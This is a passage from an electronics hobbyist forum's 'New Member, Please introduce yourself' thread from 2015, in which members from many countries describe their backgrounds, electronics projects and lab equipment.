My first ever electronics project was in '88, while just a kid. I tried to build a door access card a'la the Aliens movie video communicator and a control board from Star Trek TNG helm. Good luck that I didn't get so far as to try and connect the thing to mains...

I had nearly 20y pause from electronics with some hysteresis to-and-fro, j'en passe the details, but am now back with some specific projects on the table regarding open energy market in the Nordic countries.

I have no formal technical education but with all the opportunities available for DIY education I mostly don't miss it either. Sometimes I do miss a wider breadth to point me in the right direction or deeper understanding of something like when trying to chew through Fourier series and transformations or wrap my head around how exactly a sig-delta converter works. Yet this struggle in solving a real conundrum (subjective, of course) is what makes the field so interesting.

As you probably have concluded by now, I do like to write a few lines.

By day, exec manager in a financial institution.

Cheers,
Title: Re: New Member, Please introduce yourself
Post by: oxcart on July 13, 2015, 06:50:28 pm
Hello, I'm Oxcart, the ex-user "dilbert". Another registration needed because my old free mail service got really messed up.
I'm not an EE, i did Aerospace Engineering(as you might have guessed from the nickname) and still I design in that field, so please be patient. My EE knowledge is 90% from Dave's videos.

Now I'm nearing 30s, and my company sells its own workstations. DELL, HP, LENOVO: beware!  ;)
Title: Re: New Member, Please introduce yourself
Post by: WZOLL on July 14, 2015, 05:53:26 am
Hi, I'm Walter from Monroe, Louisiana. I'm in high school very interested in electronics and joined the forum a few months ago to watch and learn. I hope to be an EE someday but now I do a lot of Geiger Counter related things, synths, and I'm developing a game with some friends. Hopefully I'll learn a thing or two here.  :-+
Title: Re: New Member, Please introduce yourself
Post by: ym58 on July 14, 2015, 06:21:01 am
Hello,
I am Yann, from Paris, France.
Been an electronician since decades even if I professionnaly took diversion roads ...
But I am now back to the roots, reason why you find me here !
This blog's a brilliant idea, indeed.
Yann
Title: New Member, Please introduce yourself
Post by: Onnosr on July 14, 2015, 03:58:22 pm
Hi All,

I am new on this forum.

My name is Onno Bakker from Rotterdam, the Netherlands.

A have been a radio-television repairman for years. (after that a was lawyer for 40 years)
I am also a radioham callsign pa0ono.
For more than 20 years am am also a recording engineer and I have my own cd label
(Onno Classics).Most gear I am using is home made (ADC-DAC mixers etc)

electronics is much more fun than juridical stuff

I came to this very interesting site because a good friend has an auto garage mainly repairing old English cars. He has two Sun gas analysers MGA 1200 and asked me to look at them for repair etc. That is why I found this site.

I hope to learn a lot and after reading etc I try to post.

Many greatings.

Onno

Onnosr















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Post by: alexandru on July 15, 2015, 08:18:31 am
Hi,

I am Alexandru and although I am 21, I am programming for more than 10 years. In the last 2-3 years I started to do also electronics. I saw the vblogs on Youtube many moths ago, and I decided to join the forum board. Right now I am trying to build VisionBot (http://VisionBot.net/) SMT Pick and Place machine.

My personal blog (http://budisteanu.net/)
Title: Re: Hello EEVblog!
Post by: subacati on July 18, 2015, 12:12:22 am
So designing and building circuits is how I have fun. But then, that why we're here right?
:D
Title: Re: New Member, Please introduce yourself
Post by: dante265 on July 18, 2015, 07:26:47 am
Hi to all!
I'm Dante and I'm an italian electrical engineering student.

I approached electronics about 5 years ago when I met Arduino but long since I switched to different systems. Especially currently using ARM devices.
I graduated in a technical institute at "Electronics and Telecommunications".

At the moment my dream is to graduate as soon as possible and go to work outside Italy. I would love to work in London or, why not, in the silicon valley!  ;D

I apologize in advance for my English: I read quite easily, but to write, sometimes, I have to help me with a translator.  |O
 I will do everything to make me understand  :-+



Title: Re: New Member, Please introduce yourself
Post by: kc3ase on July 19, 2015, 12:30:48 am
Hi all. My name is John. I'm a licensed US Amateur radio operator from the US with a background in electronics. My log in name is the same as my US callsign. My background is mostly is software / firmware but I'm looking to get back more into electronics. I have basic understanding of electronic principles and workings but my expertise has really been in Windows operating software for the last 25 yrs.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: Thedon on July 19, 2015, 10:39:15 am
Hello I'm Angelo,

Currently studying EE have been employed in the electronics field for 22 years worked as a TV/Video technician, Pay TV tech, contractor and currently working as a Avionics tech.
Title: Re: New Member, Please introduce yourself
Post by: asto on July 20, 2015, 04:36:36 pm
University of Florida EE graduate, focusing on analog electronics.
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Post by: Iceclaw on July 23, 2015, 06:15:39 pm
Hi everyone,

My names Rocky, I'm currently in high school and planning on going into something along the lines of IC and hardware design. I'm currently taking a robotics class and consider myself a (very) amateur, well, I guess tinkerer fits better than engineer at the moment. I found the EEVblog after looking on youtube for videos going over basic circuit design and sorta just couldn't stop watching.

Well, I'm starting to run out of things to say so I'll stop while I'm ahead,

RM
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Post by: yeayeahchino on July 26, 2015, 03:19:42 am
Greetings,

My name is Patrick.  I am a hobbyist turned enthusiast.  AfrotechMod was an enormous inspiration.  I come from a long line of structural and electrical engineers so the desire to understand the functionality of and if possible improve burns in my blood.  I am a former journeyman electrician (commercial and industrial).  I worked on (almost) all aspects of electrical systems in custom built fire apparatus.  I am currently back in school for a software engineering specialized BSIT.  I love learning and very much look forward to learning from this community. 
   
Title: Re: New Member, Please introduce yourself
Post by: bitseeker on July 27, 2015, 11:17:55 pm
Hey there EEV forum. I'm a EE coming back to electronics after spending many years in the software industry. Upgrading some of my old equipment and starting to tinker with microcontrollers (i.e., electronics + software). Fun! I've been watching Dave's videos for a while and finally signed up on the forum.
Title: Re: New Member, Please introduce yourself
Post by: ddeml on July 29, 2015, 09:24:18 am
Hi, I am Richie, a professional native coder (read: software developer that starts coding at 9) from germany.

Back in my childhood, I had first contact with electronics through experimental kits (Kosmos Electronic X4000).

Now I am a happy owner of a smart home SFD and start twiddling around with custom electronics to impement fancy custom gadgets, like an animated LED matrix in the shower, or remote controlling the kitchen hood and oven, etc.

As a side bonus, I can now some broken electronics which I would throw away otherwise...
Title: Re: New Member, Please introduce yourself
Post by: rddube on July 29, 2015, 07:33:28 pm
Hello everyone, my name is Raymond from Montréal Canada.

I am an insurance professional that does electronics and computers as a hobby. I recently bought 2 cheap Chinese transistor testers and have found the forum portion that deals with those devices.

Hope to get to cross lines at some point.

Regards!
Title: Re: New Member, Please introduce yourself
Post by: N1TRO on July 30, 2015, 09:00:29 am
Hi everyone!

I am currently a student at a school in Queensland Australia who unfortunately don't have any electronics electives but have a really big workshop full of expensive equipment at my disposal and a great graphics elective so i can get Autocad for free ;D. I love designing and building things (why i do workshop and graphics) and want to go to university to become some sort of an engineer, I also take great interest in anything with an engine in it (mainly cars) as well as computers (especially building them) and audio products (vintage and high-end modern especially vacuum tubes and diy). I play the trumpet in 3 bands as well as the saxophone and soon the guitar. My grandpa is an electrician of over 30 years (probably more) and got me my first piece of electronics equipment; a soldering station for my birthday because I was always using his hakko 926 which he got when it first came out. I recently got a fluke 87v for my birthday (didnt see that one coming!) and plan to buy a used power supply and eventually oscilloscope (need to save up for a car ;)).

Anyways, thanks for reading my ramble and I am excited to a part of this forum.
Thanks,
N1TR0.
Title: Re: New Member, Please introduce yourself
Post by: KennethAa on July 30, 2015, 07:37:25 pm
Hi,

My name is Kenneth,and my main workload is managing and developing software for the healthcare industry in Norway (physica.no). This has been my life for about 10 years now.

Before that, I spent a lot of time working with open source projects (MythTV, LinuxTV, and other related projects) to gain work-knowledge in preparation for my eventual employment. I had no formal education in software programming at this point, since my education was basic electronics, both high and low voltage. And in this period I experienced the usual crappy jobs - i.e. the local electronics shop (not flipping burgers).

Kenneth
Title: Re: New Member, Please introduce yourself
Post by: 4beowulf7 on July 31, 2015, 06:50:38 am
Hello everyone,
I'm a new member from Constantinople or Istanbul. I like to post some of my designs here so that others may learn from my experiences.
I'm an Electrical Engineer.
My email is 4beowulf7@gmail.com should you have any questions.
Greetings
Title: Re: New Member, Please introduce yourself
Post by: nvscott5 on August 02, 2015, 10:49:58 pm
Hi all! I'm an automotive technician, specializing in electrical and driveability concerns. I love 'repurposing' components from a modern car and implementing it into an old car....like my current project (and also love building boards from scratch); 1962 Chevy II/Nova 4-door. Engine is from a 2011 Chevy Silverado 5.3L w/VVT; 6-speed manual transmission (rear mount), rear differential, wheel hub knuckles, ABS pump/module, pitch/yaw sensor, HVAC assembly and controls, navigation display, , ALL from a C6 Corvette! I'll have stability control, traction control, ABS, electronic controlled air conditioning, 50/50 weight split....in a 1962 Nova, very cool stuff! And I'm already at 28mpg on the highway with a 5.3L from a 2001 Tahoe w/matching 4-speed automatic.

Looking forward to being a member of this forum and further growing my knowledge on electronics.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on August 03, 2015, 12:50:18 am
That is a rather interesting modification to that Nova. Interesting that you didn't go with the Vettes LS engine.
Title: Re: New Member, Please introduce yourself
Post by: jeffd1988 on August 05, 2015, 12:56:11 pm
hello I'm Jeff

I have been taking things apart my entire life and I love it

ps i hope im posting this right     
Title: Re: New Member, Please introduce yourself
Post by: EdgeOfTheWorld on August 07, 2015, 01:38:54 pm
Hello Everyone.

Greeting from Ireland.
I was looking around for advice on what soldering station to buy when I came across this forum.
Not an expert on electronics, just a passing interest in connection with my hobby of Model Railways.
Looks like a very good forum & glad to be a member here.

Regards.
Tony.
Title: Re: New Member, Please introduce yourself
Post by: SirWhy on August 12, 2015, 07:56:17 pm
More Irish Greetings!

I'm Mark, a second year engineering student in Trinity College Dublin hoping to do EE in third year (first two years are common). Been interested in electronics since I was about 10 (kits, arduino, Atari Punk Consoles) but have really only gotten into it the past year or so.

Longtime lurker, first time poster, should be some fun.
Title: Re: New Member, Please introduce yourself
Post by: unitedatoms on August 12, 2015, 08:01:37 pm
Hello, I am Vasiliy
I live in Brookline, MA, USA. I recently decided to make my electronics hobby to pay for itself. I am more hobbyist than electrical engineer. My official education and professional skills are in software development.
Title: Re: New Member, Please introduce yourself
Post by: Cmcada on August 12, 2015, 08:11:13 pm
Hi all,

My name is Chris from the UK studying EEE at University level, I am about to enter my fourth and final year.

Most of my hobbies involve machining/automotive design and I am currently working through the design of an EMU for a 125cc single cylinder engine. Without an oscilloscope this is proving to be  a bit of a headache but that will be changing in the next few weeks :P

Title: Re: New Member, Please introduce yourself
Post by: thburns on August 13, 2015, 09:08:45 pm
Hi everyone,

My name is Tony from the United States, and I'm a software engineer and system administrator by trade. I'm an absolute beginner to EE (still haven't even figured out Ohm's law completely!), and my interest in it comes from my other hobby as a flashlight enthusiast. Flashlights are to be my entry into the world of electrical engineering, but hopefully more will come after than just measuring my lights!
Title: Re: New Member, Please introduce yourself
Post by: crispy_tofu on August 16, 2015, 05:49:50 am
Hello! I'm Chris from Sydney, Australia. I'm currently a student at high school and I've been messing around in electronics (saving up for an oscilloscope) since the start of the year (so I'm a complete noob ^-^).
Mostly I've just been reading lots of posts here on the forum, maybe I'll know enough to help someone someday!  :o
Title: Re: New Member, Please introduce yourself
Post by: kedr_vostok on August 16, 2015, 05:51:12 am
Hi All,

I am an electrical engineer currently working at a coal mine in the hunter valley in NSW Australia. Enjoying reading the forum and am an avid watcher of Daves blog. Getting a lab set up at home currently to tinker around in.
Title: Re: New Member, Please introduce yourself
Post by: Godzil on August 18, 2015, 10:57:31 am
Hello EEVBlog folks!

I'm Manoel/Godzil, and I'm mainly a software engineer that have quite a hardware background (my first degree was about electronics, most of my study after was around embedded software development so I never completely leave my foot on the electronic stuff, but it get faint with time unless 3 or 4 years ago when I started to get back on the electronic track, mostly because I started to work more closely to the hardware at that time as I was working for the only european/french manufacturer of eBook reader. That was about the same time I discover Dave's youtube channel and followed it since. (Ok I've clicked on the "Follow" button quite recently, but I was already watchin his channel for a long time before ;))

Anyway, at that time I build my first "professional quality" PCB (thanks to seeedstudio) was maybe a bit overconfident on it and mount it, it was mostly a full CMS board, plus a nasty BGA, it was (and still is) half a failure as most of the hardware is working, only two or three data/address line one the pSRAM BGA are not working, not that bad after all for a come back on the electronic stuff ;)
Ok this PCB wasn't my design, it is an opensource design, but anyway, I still build it and it is nearly working! And lost lots of hours trying to recover the BGA disaster to no luck, but that's another story.
That led to a bit of low confidence on myself, and that + other factors (moving to a new home in another country, moved from Paris to London) it wasn't the best moment to work on such personal projects.

1 and half year ago, I restarted to work on my projects, and to finally build my home electronic lab (at that time I had only a crap multimeter and a "crap" soldering iron (not that crap as it is a good branded one) but not a real station) and buy stuffs as I needed at the time, and as I don't need to rush so I take my time on this, I'm still missing some important stuffs like power supply, but I haven't needed one right now, finger crossed.

So last year I finally create my first PCB put a lot of proud on it and ordered it (again from seeedstudio)
Ok it's just a passive thing with some connectors, but I made all the pcb design, cutout, and this one worked on the first time! :-+

Oh I haven't told what my main hobbies are, I'm quite interested in retrocomputer stuffs and retrogaming stuffs, my main two projects are currently an updated version of an old computer which it the Tangerine Oric 1/Atmos, the other one is to build a development cart for the Bandai's WonderSwan.
The first one is going slowly, the second one, I have a prototype for the first hardware step of this project that nearly works (I'm missing some stuff on the software side, but the hardware is nearly OK).
This version use standard SRAM, NOR and a CPLD chip to make everything working, the second step would be a much complex version that use FPGA / SRAM / SD card based solution, and both have to fit in a really tiny cart shell, there is nearly no room at all in this thing, but that make the thing fun to do :)

So last year the PCB I made was to be able to analyse the cart signal, and ultimately used one of my FPGA board to simulate a cart with it, and all of this was a quite big success as I manage to analyze the missing bits and get a first success in simulating an official cart (I'll pass the details, but there are some sort of a protection mechanism in that.)

Anyway, as it's still a hobby project, after this success last december, I've lost some interest in it, until last june where I started to work on the real thing, the first step, and came to the design of my second board, a bit more ambitious than the first one, as this one include a lots of active parts, SRAM, NOR, CPLD, a regulator, battery holder and some glue around to make things working.

After PCB been build, (seeed again..) and getting the components in hand, I decided that I was too lazy to solder them by hand and bought a mylar stencil, and solder the board using that + hotair. Not a huge success for the first time, but not that bad, I put too much solder paste, and add a lots of solder joint, and part that slightly shift, which is not that easy to recover, but I manage to recover the board, but needed to swap the CPLD with the spare one I had some pins are (still) a bit twisted, I was a bit too angry at that time so I put it on hold and take the second one with better luck. That was two weeks ago I think, do some basic check on it, and finally solder some wires last weekend to be able to program the CPLD via JTAG.

I would invite people interested about that project to have a look in my own blog (you will find a link in my own profile, I'm not here to make a ad just introduce myself)

Anyway, here is my current electronic lab equipment:
- An Atten soldering digital station (rebaged in the farnell brand) which is I think not the best quality ever, but work quite well for my needs
- The infamous Atten 858D+ hot air station (a real Atten one, not a clone of the clone, with correct wiring, in fact the same that dave reviewed)
- A crap DMM that serve me mainly to check continuity and check open circuit battery voltage ;)
- Tons of electronics stuffs (evaluation boards, components, bare PCB, stuff to repairs...)
- A not that bad 34 way / 500Mhz USB Logic analyser
- A lovely Rigol DS2072A that I bought a month ago, and I'm loving it :) (yeah "expensive", at least for me, but worth the price, and I want to keep it at lest 10 years)
What I still plan to buy:
- A real DMM (I lurk on the BK Precision reviewed by dave, I find it quite nice)
- A power supply, if anyone have an idea for a good, but low price one, the DP832 could be a good entry point, but a bit expensive for me currently..
- More components (we never have enough)
- A better bench, ad I'm currently using my "normal desk" which is not the best place for keeping all the tools and do solder on it. I have a clue on this one, but will need some space and home that they will sell them.. (there are some nice unused bench where I work with all the thing you need, a shelve, earth plug for antistatic mat, etc..))


Sorry for the big and messy introduction text ^^
That's all for today on that topic ;)
Title: Re: New Member, Please introduce yourself
Post by: netwinder on August 20, 2015, 10:35:37 pm
Hello!

I'm Conner, i am very passionate about electrical engineering, Linux kernel development, network architecture, server development and system administration. I am 16, and currently attending no school for any of this! i am entirely self taught, which explains why none of my electronics projects works   |O

If you're into mediocre electronics, do talk to me. I can teach you the basics... And more basics! Good luck with your linear power supply!

Nice to meet you mttee2!
Title: Re: New Member, Please introduce yourself
Post by: ledfreak3d on August 21, 2015, 07:00:44 am
Hey Guys just joined my name is martijn and I am from the Netherlands

been watching dave for years now

https://www.youtube.com/watch?v=jiEWYKay8iE (https://www.youtube.com/watch?v=jiEWYKay8iE)


Title: Re: New Member, Please introduce yourself
Post by: npicot2304 on August 21, 2015, 09:49:15 am
Hi,my name's Nathan, been in to electronics for the past couple of years on and off due to my full time job as a mechanic, would like to make my own controllers for solar energy harvesting and what not, recently I have been working with the simple 555 timers and 4017 decade counter, in the future I would like to also automate my shed with keypads and so forth

Hope to learn a lot more from this community
Title: Re: New Member, Please introduce yourself
Post by: SylvainP on August 30, 2015, 01:25:35 am
So there is a place to introduce ourselves, I should have searched harder.

I'm Sylvain, my 1st language is French so please don't be afraid to correct my English, I won't get better otherwise.

I started in electronic in my early teens and even went to CEGEP (Quebec College) to become an Electronic Technician, unfortunately I was not very studious and the first two years was stuff I already knew so I got good grades without working for them. I hit a brick wall in my third year and flunked out. At abut that time I became interested in computers and it looked like a cheaper hobby as their were no parts to buy to start a new project.

Despite this I've worked most of my life in the electronic industry on the production floor where I worked in almost all positions from assembler to test technician to procedure writers to quality control etc...
As i got older I started getting tired of a repeating pattern in my life: Start working for a small company that closed because it could not grow or did grow but then got bought out by a bigger company that eventualy closed our branch. So I went into I.T. I worked for one of the biggest I.T. company in the world, had a nice salary and a stable job, unfortunately health problems that had started before but could be worked around got a lot worst and I had to quit after only a few years.

Now I'm 51 on disability benefits.  On the plus side no more alarm clock waking me in the morning (unless I have a doctor appointment) and on the minus side my income has been radically reduced but it is adequate for my lifestyle.

I now have a lot of free time so I restarted my electronic hobby. I kept most of my electronic stuff and even got more while I had the mean (like my oscilloscope) as I knew I wanted to get back to the hobby eventually. I was also allowed to get some stuff (like my Fluke 87) from companies I worked for that closed or moved.

Right now I'm making sure I still know the basics (including the math), what I have forgotten I am relearning. It does not stop me having fun with an arduino or having a couple of simple projects in mind for the near future: an alarm clock, and a small fixed time kitchen timer (about 70cm high by 30 cm diameter) that will get activated by turning it over like an hour-glass. I plan on building several of the timers with a different time in each in accord with my most common kitchen needs.
Title: Re: New Member, Please introduce yourself
Post by: Ninj on August 31, 2015, 09:28:54 am
Hi,

I'm a returning gamer :) I was hardcore gamer in my young times, now that my two children are here, i'm about to play again.

But i also do a lot of photography.

I just bought a good computer for both purpose, still lacking the graphic card...
Title: Re: New Member, Please introduce yourself
Post by: Ysjoelfir on September 01, 2015, 12:10:57 pm
Hello everyone! After watching the EEVblog videos for some time now i noticed that there is a forum connected to those videos! yay! A forum full of other nerds like me, a dream comes true!
So I thought about introducing myself before posting "regular" posts, and thats what I'm gonna do now.

My name is Kai, I'm from germany and living in Frankfurt on Main.
I went to gymnasium, i guess in english its comparable to a high school, but didn't finish with a high school diploma (Abitur in german),
instead left the school after 12 years and started a job training as "Informationselektroniker für Geräte und Systemtechnik",
what would translate as something like an electronic technician specialised at devices and systems. In my oppinion this is a absolutely stupid thing to say,
so I would stick to the former name, which was just "electronic technician for radio and television".

I love electronics and I play around with that kind of stuff since I was ten years old (now im 25... time flies by..), motivated by my father who tought me nearly anything I know nowadays.
The job training worked out quite good, I finished it with a special award for the best grades on the apprenticeship diploma that year in whole germany.

Sadly my career didn't go on like that. I worked the next three years in three different companies for wages far below the average, always for a one year limited time.
When I got kicked out of my last job the same day my father died from a sudden heart attack at the age of 50, I fell into a really big hole which I couldn't leave completely behinde at all.
I lost the fun of playing around with electronics, lived my life, but didn't do anything that would carry me on.

I thought about how to go on, and after struggling with myself for a long time I decided to begin a study of elektronic engineering.
I hate studying, I'm more of a practical guy, so this will be tough for me. I have to face my problems because I want to leave all this behind and start again with my life, start again with my once so beloved hobbys, try to learn to "have fun again".

Besides that electronic thing I have some other hobbys, like working on and driving around with cars and bikes (I own an vintage mercedes firefighter truck, yay!), kerosene- and gas lamps, writing reports into my blog (link in signature if you want to have a look), trying to publish something on youtube but stop it at the last second over and over again, working with electron tubes and so on, which need some time too. So I hope to take my time again for myself, start again and get back to what I have been before. Daves videos, reading around here at the forums and looking around here insires me and gives me new energy, so I have to say a big thanks to everyone around here and hope to read from you guys in the next time!
Title: Re: New Member, Please introduce yourself
Post by: jitter on September 03, 2015, 09:55:14 pm
Hello all,

New here, I live in Eindhoven in The Netherlands (aka Holland). The city where Philips was founded and where quite a few interesting things were invented.  ASML (photolithography systems for the semiconductor industry) and DAF Trucks being the other important manufacturers over here which obviously have attracted a lot of supplying companies, one of which I work for.

My work is in industrial electronics and my main responsibility is testing, repairing and calibrating of new products. My specialization is in instruments used (mainly) by researchers for electrochemical impedance spectroscopy. Mostly analogue and never boring! All my practical experience, like soldering, reading schematics, fault finding, probing with scopes, etc. I learned in my job. I really do understand why Dave tells beginners that he hopes their projects fail. There's no better way of discovering how something works if you have to find out why it doesn't work. No doubt about it. And another tip I completely agree with: don't assume anything while you're doing it.

As a kid I was interested in how things work and obviously I took a lot of stuff apart. Electrical, mechanical, didn't really matter. Electricity was also intriguing to me and well, while finding out about it I received a few shocks and shrouded the house in darkness on more than one occasion ::) . Lighting always interested me and for a while I tinkered with classic cars.

I went to study EE but found out that I'm someone who likes to work with his hands, so I ended up doing what I do now and I still like it. But it seems technicians are a dying race. At 40 I'm still one of the youngest in the company I work for...

At home I play around with electronics from time to time. Little things, no big projects. Nowadays most of my free time goes to walking (hiking).

A while ago (months, a year?) I discovered the EEVblog and suffice to say that by now I watched most episodes. But it wasn't until today that I decided to join this forum. I'm on other forums as well, and for some reason the name "jitter" never seems to be taken when I register...

See you around!
Title: Re: New Member, Please introduce yourself
Post by: electron noobie on September 06, 2015, 12:42:29 am
Hello my name is David I am a former truck driver I live in North Carolina I am wanting to teach myself electronics. Currently I am trying to make a circuit to control a automatic door opener with a light sensor for my chicken coop. Just wanted to introduce myself I have very little electronic experience so a true noobie  :-DD, I feel sure that I will be asking alot of questions so bare with me as I learn Thanks David in NC
Title: Re: New Member, Please introduce yourself
Post by: newbie_electron on September 06, 2015, 05:11:54 am
Hello everyone. My name is Thony, My nationality is Cambodian but i am living in Australia studying electronics and computer engineering. I am in the second year at the moment. Really new to this blog, been sign up for a while but never been able to use it. I really want to buy an Oscilloscope and trying to get one that doesn't have that Auto button, I usually go to my university lab and if i use oscilloscope, i keep spamming the auto button. really want to have my very own oscilloscope just to build stuff like a microcontroller or an amplifier. Anyone recommend what scope should i buy, i wanna buy analog scope and a second hand one would be good. Thank you!
Title: Re: New Member, Please introduce yourself
Post by: isaiahA on September 15, 2015, 10:44:52 pm
i am isaiah
hi
Title: Re: New Member, Please introduce yourself
Post by: Downrange on September 18, 2015, 02:01:53 pm
Hello,
Just a friendly hello and a thank you to all that post on this forum.
I've been a lurker here for awhile and decided to get legal.  :-)
I'm an old avionics guy.  I've worked the bench and messed around in my small shop. 
Been building computers for a long time.  I still have my Micronta microprocessor trainer and my Heathkit 3600 and 3700 breadboarders.
Started on TRS-80 Model 1's with 4k of memory in Basic.  Later graduated to the 16k model.  (Quote: How in the hell are we ever going to use THAT much memory?).  I like playing around with Arduino's, RC aircraft, CNC, and Photography/Cinematography.
-Mac
 :)
Title: Re: New Member, Please introduce yourself
Post by: kulamario on September 18, 2015, 05:11:41 pm
I would like to welcome all to the forum
I am an amateur hobbyist electronics and microcontrollers
Title: Re: New Member, Please introduce yourself
Post by: Alex Nikitin on September 18, 2015, 08:10:15 pm
Hi, I am an electronics engineer in the UK, with a mostly analogue electronics background. Found this forum looking for some information and decided to join. I am not sure how much I will contribute here but electronics is my life and passion for last 40+ years and perhaps my experience may be useful yet  :) .

Cheers

Alex
Title: Re: New Member, Please introduce yourself
Post by: smbaker on September 19, 2015, 07:38:11 am
I'm a DIYer, tinkerer, fixer of broken things, and occasional blogger. Basically found my way here after watching one of Dave's videos on building a DC load (which I promptly built and have used many times!)
Title: Re: New Member, Please introduce yourself
Post by: thunderbolt87 on September 21, 2015, 12:03:00 pm
Hi, I'm a student at the University of Wuppertal, Germany. Apart from being an Information Technology student,
I also have much personal interest in electronics.
Thanks, Dave, for the easily understandable and entertaining way of explaining things.
In case you read this. I'm enjoy your videos very much, keep up the good work.
Title: Re: New Member, Please introduce yourself
Post by: SopaXorzTaker on September 25, 2015, 05:18:11 pm
Hello, I am a young electronics nerd/tinkerer. I am only twelwe years old, but I think I do some advanced stuff. I can route my own PCB's, program AVR's in C, fix various devices. I like tearing stuff apart and soldering.
Title: Re: New Member, Please introduce yourself
Post by: boss3214 on September 26, 2015, 10:20:17 am
hi im keith from newcastle upon tyne (UK)  electronics hardware and software engineer/consultant  1 started out as a tv engineer 30yrs ago now repairing everything down to 01005 size and smaller!! in my spare time. and technical consultant to three UK firms during business hours.
im currently rebuilding my workshop and restocking with new tools to see me through to (partial) retirement
Title: Re: New Member, Please introduce yourself
Post by: saber63 on September 27, 2015, 07:43:19 am
Hello all!

I've been lurking like crazy, and have been watching Dave's videos for little over 3 years now. Got a bit turned off by a few of his rants... until I learned first hand why he was ranting as such.

I grew up in a machine/fab shop. started going to school for Mech. E. But switched over to E.E. after taking the overlap classes. Went down the path of embedded. Always held an engineering internship/job job through school,

Designed and spun a few boards for work, and for the last 2 years have been focusing on firmware and software. And, well, need to start playing with more hardware in my spare time!

While i can borrow a few work tools. I really need to pick up my own for some projects!

So i'll be picking your brains soon!

-Levi
Title: Re: New Member, Please introduce yourself
Post by: pmichel on October 01, 2015, 02:59:13 am
Hello, I'm Patrick. I'm from Missouri, USA. I went through about two years of training in the Navy, and then worked on nuclear instrumentation and control equipment on an aircraft carrier for four years. I've been working at a company that remanufactures electronics for agricultural vehicles for the past two years. Slowly working towards some kind of degree, not sure what yet. Original plan was EE, but might just cut it short and get a technical degree.
Title: Re: New Member, Please introduce yourself
Post by: Bryce C. on October 01, 2015, 04:43:35 am
Hi all, been watching the YouTube videos for a while... and do like to have a tinker with stuff every now and then (unable to go full time because of my day job...) I don't purposely troll or make crap comments so yeah... (love that rule) the best my 'workspace has at the moment is a fairly basic hand-held multi meter, a soldering Iron and a few screw drivers... I am getting into the 'coding (probably more python than anything else)' related stuff as I would like to be able to control my room via my smart phone and don't want a stock fix from the shop...
Title: Re: New Member, Please introduce yourself
Post by: ckatheman on October 04, 2015, 06:13:22 pm
Hi - my name is Chris and I am from Ohio.  I am a programmer by trade but have become interested in electronics and embedded systems in recent years.

I have been watching Dave's videos for 3 years - but I don't think I have ever posted a question here!  Look forward to participating  ;D
Title: Re: New Member, Please introduce yourself
Post by: aknaydenov on October 04, 2015, 06:54:21 pm
Hello, I'm Alexander from Bulgaria, 24 years old.

I currently work in the film industry as a special effects technician. It goes from explosions to guns to weather effects and so on.. and it's always diverse. This is the top reason I like my job. During my spare time, I enjoy practicing many hobbies, as DIY high-end audio - building my audio system always to the top ; woodworking, metal working, electronics, bicycling, reading and enjoying building stuff. I have my small workshop and I never stop upgrading it with tools, while I do the same with myself as it goes to knowledge.

I will be glad to learn and probably teach things in this community!

Regards,
Alexander.
Title: Re: New Member, Please introduce yourself
Post by: Stuart Coyle on October 08, 2015, 02:41:17 am
G'day from sunny Queensland!

I have been an electronics hobbyist on and off for years. I spent many years working in theatre as a mechanist, audio operator and occasional lighting guy. I am now working as a full time web developer as it pays better and the hours are sane.

Having a physics degree and post grad studies in computer engineering have not kept me from blowing things up in my workshop and I have learned a lot from Dave's videos and this forum. I hope to contribute much more in the future.
Title: Re: New Member, Please introduce yourself
Post by: med6753 on October 09, 2015, 04:54:14 am
Hey all! Michael here and I hail from New York State, USA. I've been an electronics hobbyist since a teenager in the 1960's but more or less inactive for the past 15 years or so. But now that I'm semi-retired and having a Tek 2465 Scope recently show up at my doorstep that has persuaded me to jump back in feet first. I found this forum after joining the TEK Yahoo group to get some advise on getting the 2465 repaired.

Many many years ago Heathkit and I were on a first name basis. Sadly most of that equipment is long gone and I regret getting rid of it. Since I started in electronics in the mid 1960's vacuum tubes (Valves) were king in many devices and they are still my first "love". Nothing like the warm glow of the filament. Unfortunately that's a dying art.

I'm glad to be here and I hope I can contribute.

       
Title: Re: New Member, Please introduce yourself
Post by: Timisthen on October 09, 2015, 04:23:00 pm
    Hello everyone, I'm an enthusiast of all things electrical and scientific.  I've never even had any formal education in any of the fields I'm interested in, yet I have always taught myself where such things are concerned.  This self-education has lead me into the collage level area on some subjects, despite my lack of even a high school diploma or equivalent due to complication from homeschooling (and other factors).

    I am currently attempting to acquire a better set of test gear and to start on some new and potentially interesting projects.  However, I may be a bit held back by a lack of finances, as I still have yet to be able to get a job in the tiny nothingtown I'm stuck in.  |O

    I'm hoping to finally get a job, and possibly start my own YouTube channel sometime before this winter (USA, so northern hemisphere), and I certainly hope to be able to consult this community should I require help with anything, or if I have something of potential interest.  :-+
Title: Re: New Member, Please introduce yourself
Post by: snobwall on October 11, 2015, 09:50:14 am
hi, im student at university. Electronics and comunication is my main course and currently at teleinformatic specialization.
i'v never been into electronics until recently and that is only facoulty im good at, nevermind its only one i like, so
i guess i stick to it. recently got some test equipement and i hope to get good at this stuff, with forums help offcourse.

P.S. My nick suppose to be Snowball not Snobwall (give a keyboard to a monkey).
Title: Re: New Member, Please introduce yourself
Post by: NEYi on October 13, 2015, 02:08:48 pm
Hiya, fellows. :)
I'm a 21 years old electronics enthusiast from Ukraine, mostly obsessed with high-voltage(Tesla coils) and digital(MCU,PLD) stuff.
I've been watching EEVBlog almost from beginning and still watching now, but never been on the forums until recently. Looks like a nice place to me. :D
Title: Re: New Member, Please introduce yourself
Post by: OiD on October 14, 2015, 07:37:46 am
Hey all!
After lurking around here for years I finally joined in. I'm Miles, 27. British and living in Spain. I like to mess around with digital, High Voltage, power and mcu's. Pleased to meet y'all!
Title: Re: New Member, Please introduce yourself
Post by: sdancer on October 14, 2015, 09:06:40 am
Hi all, I'm from and in Germany, and the kind of person who finds electronics cool and all but never really got around to really doing much of anything except buying gear that doesn't really get used, but some day definitely will be!
Title: Re: New Member, Please introduce yourself
Post by: Shamron on October 17, 2015, 07:32:59 am
Hi there..

I first got to learn about eevblog when searching for "amiga" on YouTube and have been an avid and addicted watcher since that moment. I simply love it and can't get enough. 😊

In '94,i graduated as a certified radio/TV repairman, but never used or kept my education up to date.

Yet, in 2007,me and a friend walked by a electronic waste dumpster, where we found 2 transformers, heatsinks and 2x2N3055's attached. I said to my friend "we can build a first class amplifier out of mostly these parts" and so we did and it greatly outperformed my NAD T747 receiver that i just the year before had paid 1500$ for.

Both me and my friend wanted more and I started slowly refreshing my knowledge and got on to other projects.

Pic1:
